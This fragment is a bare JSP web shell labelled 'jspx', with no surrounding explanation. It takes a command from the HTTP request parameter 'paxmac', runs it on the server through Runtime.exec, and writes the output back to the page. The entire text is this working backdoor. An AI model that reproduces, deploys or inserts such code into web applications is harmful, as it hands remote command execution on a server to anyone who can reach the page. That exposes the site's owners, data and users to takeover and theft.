jspx try { String cmd = request.getParameter("paxmac"); if (cmd !=null){ Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } } catch (IOException e) { System.err.println(e); }